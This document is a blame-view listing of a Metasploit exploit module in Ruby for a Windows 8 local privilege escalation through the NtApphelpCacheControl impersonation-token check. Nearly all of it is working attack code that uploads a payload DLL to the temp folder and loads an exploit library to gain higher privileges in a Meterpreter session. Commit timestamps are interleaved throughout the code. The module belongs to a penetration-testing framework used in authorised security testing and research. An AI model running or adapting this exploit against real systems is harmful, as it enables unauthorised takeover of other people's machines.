metasploit-framework/modules/exploits/windows/local/ntapphelpcachecontrol.rb

157 lines
4.4 KiB
Ruby
Raw Normal View History

2015-01-02 17:31:28 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
class Metasploit3 < Msf::Exploit::Local
2015-01-08 20:13:14 +00:00
Rank = NormalRanking
2015-01-02 17:31:28 +00:00
2015-01-08 23:57:14 +00:00
include Exploit::EXE
2015-01-02 17:31:28 +00:00
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows NtApphelpCacheControl Token Impersonation',
'Description' => %q{
On Windows 8, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
2015-01-08 20:13:14 +00:00
allows application compatibility data to be cached for quick reuse when new processes are
created. A normal user can query the cache but cannot add new cached entries as the
operation is restricted to administrators. This is checked in the function
AhcVerifyAdminContext.
This function has a vulnerability where it doesn't correctly check the impersonation token
of the caller to determine if the user is an administrator. It reads the caller's
impersonation token using PsReferenceImpersonationToken and then does a comparison between
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
of the token so it's possible to get an identify token on your thread from a local system
process and bypass this check.
2015-01-02 17:31:28 +00:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw',
'sinn3r'
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 8', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'OSVEB', '116497' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
],
'DisclosureDate' => 'Sep 30 2014',
'DefaultTarget' => 0
}))
end
2015-01-08 23:18:14 +00:00
def temp
@temp ||= get_env('TEMP').to_s
end
2015-01-08 20:13:14 +00:00
def upload_payload_dll(payload_filepath)
payload = generate_payload_dll({:dll_exitprocess => true})
begin
write_file(payload_filepath, payload)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(
2015-01-08 23:57:14 +00:00
Failure::Unknown,
2015-01-08 20:13:14 +00:00
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end
def set_filepath_env(payload_filepath)
session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", payload_filepath)
end
2015-01-08 23:18:14 +00:00
def upload_payload
payload_filepath = "#{temp}\\msf_payload.dll"
# Save the payload DLL's file path so the exploit can find it
set_filepath_env(payload_filepath)
# Upload the payload
upload_payload_dll(payload_filepath)
if !file?(payload_filepath)
2015-01-08 23:57:14 +00:00
fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
2015-01-08 23:18:14 +00:00
end
end
def get_integrity_info
2015-01-08 20:13:14 +00:00
integrity = get_integrity_level
2015-01-08 23:57:14 +00:00
case integrity
when :low
2015-01-08 23:18:14 +00:00
level = 0
2015-01-08 20:13:14 +00:00
when :medium
2015-01-08 23:18:14 +00:00
level = 1
2015-01-08 20:13:14 +00:00
when :high
2015-01-08 23:18:14 +00:00
level = 2
2015-01-08 20:13:14 +00:00
when :system
2015-01-08 23:18:14 +00:00
level = 3
2015-01-08 23:57:14 +00:00
else
level = -1
2015-01-02 17:31:28 +00:00
end
2015-01-08 23:18:14 +00:00
{
:symbol => integrity.to_s,
:level => level
}
end
2015-01-08 20:13:14 +00:00
2015-01-08 23:18:14 +00:00
def upload_exploit
lib_file_path = ::File.join(
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", "exploit.dll"
)
2015-01-02 17:31:28 +00:00
2015-01-07 16:39:46 +00:00
session.core.load_library(
2015-01-08 23:18:14 +00:00
'LibraryFilePath' => lib_file_path,
'TargetFilePath' => "#{temp}\\ntapphelpcachecontrol.dll",
2015-01-07 16:39:46 +00:00
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false
)
2015-01-08 23:18:14 +00:00
end
def exploit
# Checking integirty
integrity = get_integrity_info
print_status("Your current integrity level is: #{integrity[:symbol]}")
if integrity[:level] > 1
print_status("Your integrity level is high enough this exploit isn't suitable for you")
return
end
print_status("Uploading the payload DLL")
upload_payload
print_status("Loading Exploit Library")
upload_exploit
end
2015-01-02 17:31:28 +00:00
2015-01-08 23:57:14 +00:00
def cleanup
session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", nil)
super
end
2015-01-02 17:31:28 +00:00
end